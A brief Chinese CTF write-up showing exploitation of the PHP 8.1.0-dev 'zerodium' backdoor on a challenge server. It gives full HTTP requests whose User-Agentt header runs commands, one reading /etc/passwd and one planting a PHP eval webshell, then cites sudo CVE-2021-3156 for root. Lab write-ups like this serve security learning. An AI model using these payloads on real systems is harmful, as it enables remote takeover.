PHPCTFPHP_8.1.0-dev_后门远程命令执行
1azy_fish.PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送User-Agentt头来执行任意代码。
废洞一个,这里使用**[NSSRound#18 Basic]Becomeroot**复现
验证漏洞存在
1 2 3 4 5 6 7 8 9 10 11 12
| GET / HTTP/1.1 Host: node4.anna.nssctf.cn:28189 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0 User-Agentt: zerodiumsystem("cat /etc/passwd"); Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close
|
写入🐎然后连接
1 2 3 4 5 6 7 8 9 10 11 12
| GET / HTTP/1.1 Host: node4.anna.nssctf.cn:28189 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0 User-Agentt: zerodiumsystem("echo '<?php @eval(\$_POST[\"cmd\"])?>' > /var/www/html/shell.php"); Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close
|
对于这个题来说,还需要提权
存在(CVE-2021-3156)
受影响版本:
1 2
| sudo: 1.8.2 - 1.8.31p2 sudo: 1.9.0 - 1.9.5p1
|
检测方法:
以非root用户登录系统,并运行如下命令:
直接利用就好
Rvn0xsy/CVE-2021-3156-plus: CVE-2021-3156非交互式执行命令 (github.com)